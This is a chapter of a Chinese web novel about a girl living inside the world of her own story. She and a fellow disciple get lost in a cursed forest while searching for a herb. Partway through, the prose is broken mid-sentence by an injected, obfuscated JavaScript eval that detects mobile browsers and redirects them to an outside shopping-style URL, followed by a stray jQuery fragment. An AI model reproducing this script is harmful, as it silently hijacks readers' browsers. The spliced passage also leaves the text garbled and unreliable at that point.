于韶榆捂脸捂得严严实实,恨不能当场刨个地缝把自己整个人埋进去。温蒽却只是轻笑一声,丝毫没有为难她的意思,伸手干脆利落地将她胳膊一拎,语气清淡又不容拒绝:“跟我来。”
于韶榆一愣:“啊?去哪儿?”
“长老们找你。”
于韶榆心里猛地咯噔一声,下意识回头去寻陆絮影,可身后空空荡荡,那家伙竟早脚底抹油,溜得连个人影都看不见了。
叛徒!
她在心里咬牙切齿骂了一句,只能硬着头皮跟上温蒽。两人一前一后穿过青石板铺就的小院,一大坨温饱安稳蹲在大师姐肩头,时不时拧过脖子,黑豆似的小眼睛警惕地瞥她一眼,生怕她半路偷跑。
“大师姐,”于韶榆小声问,“长老们找我什么事?”
温蒽头也不回:“不知道。去了就知道。”
“那……是好事还是坏事?”
“不知道。”
“那……”
“小师妹。”温蒽忽然停下脚步,回头看她。眉目依旧清淡,语气里却带着一丝不易察觉的温软,安抚道:“宗门里的长老们,虽看着怪诞,性子却不坏,不必怕他们。”
于韶榆愣了愣,下意识点点头,心里那块悬着的石头稍稍落了地。
两人继续往里走,穿过曲径通幽的竹林,最终停在了太阴门最深处的一座大殿前。
不是上次那间。这殿比平日里所见的都要宏大,却也破败得惊人,梁柱上的朱红漆早已剥落殆尽,露出里面灰扑扑的木头纹理,门口层叠台阶上爬满湿滑的青苔,一眼望去,透着股苍凉的古意。
大师姐推开门,侧身让于韶榆进去。后者深吸一口气,抬脚跨过门槛。
殿内光线昏暗,却只有二长老一人,坐在正中间喝茶。
于韶榆站定,规规矩矩行了个礼:“师傅……”
二长老放下茶杯,笑呵呵地看着她:“小鱼啊,来了几天,还习惯吗?”
于韶榆点头:“习惯的,师兄师姐们都很好。”
“那就好。”二长老捋了捋胡子,“今天叫你来,是有一件事要跟你说。”
于韶榆竖起耳朵。
二长老清了清嗓子:“按太阴门的规矩,新弟子入门满三天,要完成一件入门任务,才算正式入门。”
于韶榆一愣:“我不是已经入门了吗?怎么还有入门任务?”
“当然。”二长老点头,“不然你以为太阴门是什么地方,想来就来?”
“…………”
靠又被陆絮影那小子给骗了!
二长老从袖子里掏出一张纸,展开,念道:“太阴门新弟子入门任务,前往后山采药一株,药名忘忧草,限时三日,逾期未归者,视为自动放弃入门资格。”
于韶榆松了口气,不就是采药嘛,小事。
“忘忧草长什么样?”她问。
二长老想了想:“不知道。”
“……不知道?”
“嗯。”二长老理直气壮,“太阴门建门以来,从来没人见过忘忧草。所以这个任务,其实就是考验你的运气。”
“…………”
“那万一我找不到呢?”她问。
二长老摊手:“那就继续找,找到为止。”
“不是说限时三日吗?”
“那是说给别人听的。”二长老笑了笑,“太阴门好不容易来了个新弟子,哪能真让你走?找不到就慢慢找,反正你人也跑不了。”
于韶榆无语凝噎。
这哪是入门任务,这是强行给她找事干吧。
“不过……”二长老话锋一转,表情严肃了几分,“后山不太平,你一个人去不安全。我让人陪你一起。”
于韶榆眼睛一亮:“谁?”
二长老想了想,朝殿外喊了一声:“进来吧。”
殿门被推开,一道清瘦的身影走进来。
于韶榆定睛一看,是陆絮影。
少年面无表情地站在门口,看见于韶榆的瞬间,耳尖微微红了一下,很快又恢复了那副冷淡的模样。
“小石榴,你陪小鱼去后山。”二长老说,“她刚来,不认路,你带着她。”
陆絮影沉默片刻,轻轻点了下头。
两人从殿内走出,于韶榆面无表情地往前走,他便一言不发地跟在身后。走了几步,忽然回头瞪他,气鼓鼓开口:“喂,不是说我已经正式入门了吗?怎么还有这种莫名其妙的测试,你又骗我。”
陆絮影语调平平,听不出半点情绪:“是入了门。这趟差事,算你第一次宗门考核。”
“哦——”于韶榆故意拖长了语调,眼神里带着点促狭,“那你怎么也跟着一起去?你是被迫的?”
陆絮影立刻别过脸,看向一旁的枯竹,语气硬邦邦的:“长老吩咐,我不能不从。”
“这样啊。”于韶榆点点头,又轻飘飘追了一句,“那你怎么不拒绝?”
这话一出,陆絮影当场噎了一下,薄唇紧抿,半天没憋出一个字。耳尖却不受控制地往上泛红,从尖尖的耳垂一路蔓延到鬓角。
于韶榆眉眼弯弯,也不戳穿他,转身继续往前走。走了几步,忽然想起什么,停下来问:“后山到底有什么?为什么二长老说不太平?”
陆絮影的表情沉了沉。
“后山……”他斟酌着开口,“有一片林子,叫迷魂林。进去的人容易迷路,而且……”他顿了顿。
“而且什么?”
“而且,十五师兄的村子,就在那片林子后面。”
于韶榆的笑容僵在脸上。她想起昨晚十五师兄在假山上自言自语的声音,想起陆絮影说的那句“妖兽屠村,血流成河”。
“那片林子里,有妖兽?”她问。
陆絮影点点头:“偶尔有。不常出现,但……说不准。”
于韶榆沉默了。她忽然明白为什么二长老要让人陪她去了,也明白为什么这个“入门任务”会选在后山。忘忧草。十五师兄忘不掉的忧,大概就在那片林子里。
两人一路无话,穿过太阴门破败的山门,踏上了通往后山的小路。
于韶榆走在前面,陆絮影跟在后面,保持着三步远的距离。她走快,他也走快;她走慢,他也走慢。于韶榆忽然停下脚步,回头看他:“你离我那么远干什么?怕我吃了你?”
陆絮影别过脸,语气淡淡的:“保持距离,便于观察周围情况。”
“你那是观察情况吗?你那是把我当挡箭牌。”
“…………”
于韶榆偷偷翻了个白眼,也不跟他计较,转身继续走。山路越来越窄,两边的树木渐渐茂密起来,光线暗了下去,空气里弥漫着一股潮湿的草木气息。
又走了约莫一炷香的功夫,眼前忽然出现一片林子。林子里的树长得奇形怪状,枝干扭曲,树皮上爬满了藤蔓,密密麻麻的枝叶遮天蔽日,把阳光挡得严严实实。林子入口处立着一块石碑,上面刻着三个字,迷魂林。
于韶榆停下脚步,盯着那块石碑看了半天,忽然开口:“这碑是我写的。”
陆絮影一愣:“什么?”
“我是说,”于韶榆意识到自己说漏了嘴,赶紧找补,“我是说,这碑上的字写得真好,笔力遒劲,一看就是高人写的。”
陆絮影狐疑地看了她一眼,没接话。
于韶榆心虚地移开目光,心道这碑确实是当年写设定时顺手加的,当时觉得“迷魂林”这名字挺有感觉,就随手写了。至于林子里面有什么,她一个字都没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394921|200361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
写。
换句话说,她对这个地方一无所知。
造孽啊。
“走吧,跟紧我。”陆絮影越过她,率先走进林子。于韶榆赶紧跟上,紧紧跟在他身后。
林子里静得可怕,连鸟叫声都没有,只有脚下踩断枯枝的“咔嚓”声,在寂静中被放大了无数倍。走了大约一炷香的功夫,于韶榆忽然发现一个问题:“陆絮影,你有没有觉得,这棵树我们刚才见过?”
陆絮影停下脚步,看了看四周,沉默片刻:“嗯。”
“嗯是什么意思?你也觉得见过?”
“不是觉得,是肯定。”陆絮影指着树干上的一道划痕,“这是我刚才做的记号。我们已经绕回来第三次了。”
于韶榆倒吸一口凉气:“迷魂林,还真能迷魂?”
陆絮影没说话,眉头微微蹙起,似乎在思考对策。于韶榆蹲下来,盯着地上那团杂乱的脚印,都是他们自己的,绕来绕去,像个迷宫。
“你是不是也不认识路?”她抬头问。
陆絮影沉默了一瞬,耳尖微微泛红:“……第一次来。”
“什么?!”于韶榆猛地站起来,“你第一次来?那你他爹装什么老马识途?!”
“我没装。”
“你走在前面带路,走得那么理直气壮,那不叫装叫什么?”
陆絮影别过脸,硬邦邦地丢出一句:“长老让我带路,我就带路。带不带得出去,是另一回事。”
于韶榆气得差点背过气去。她深吸一口气,告诉自己冷静,冷静,这是自己写的角色,再蠢也得忍着。
“那现在怎么办?”她问。
陆絮影想了想:“继续走。”
“往哪儿走?”
“……往前。”
于韶榆无语望天。天被树叶挡得严严实实,连个方向都辨不出来。她忽然想起当年写这个设定的时候,脑子里想的是“这片林子很邪门,进来就出不去”,当时觉得这设定多有氛围感啊,现在只想抽自己两个大嘴巴。
这回旋镖怎么总是往自己身上打。
两人又走了半个时辰,依旧在原地打转。于韶榆的腿开始发酸,肚子也开始咕咕叫,早上那碗粥早就消化干净了。
“不行了,歇会儿。”她一屁股坐在一棵倒下的枯树上,揉着发酸的小腿。
陆絮影站在旁边,倒是不见疲态,但眉头越蹙越紧,显然也在发愁。于韶榆抬头看着他,忽然问:“你说十五师兄的村子,就在这片林子后面?”
陆絮影点点头。
“那他当年是怎么出来的?”
陆絮影沉默了一会儿:“三长老把他背出来的。三长老修为高,这迷魂林困不住她。”
“背出来的?”于韶榆愣住。
她当初写这个角色时,钉死的唯一核心设定:碰不得脏东西,见不得一点泥污,连地上落片枯叶都要让弟子扫三遍,平日里衣袖沾点灰都能当场僵住。
而在陆絮影的嘴里。三长老亲自背着一个浑身是血、裹满泥污的小男孩,从最凶险的迷魂林里一步一步走了出来。血泥污渍、陌生人的碰触。每一样,都是能让她直接炸毛、当场晕厥的东西。
于韶榆声音有些发飘:“三长老她不是……有很严重的洁癖吗?别说血泥了,她平时连别人碰过的东西都不肯用啊!”
陆絮影瞥她一眼,语气淡淡,却带着一丝说不清的意味:“是她。”他顿了顿,望向远处云雾缭绕的后山,声音轻了些许,“再严重的洁癖,也拦不住救人。”
于韶榆站在原地。她随手写的刻板设定,在这个真实的世界里,早就不是原来的样子了。
这些人有自己的性格,自己的人生。她只是开了个头,剩下的,都是他们自己活出来的。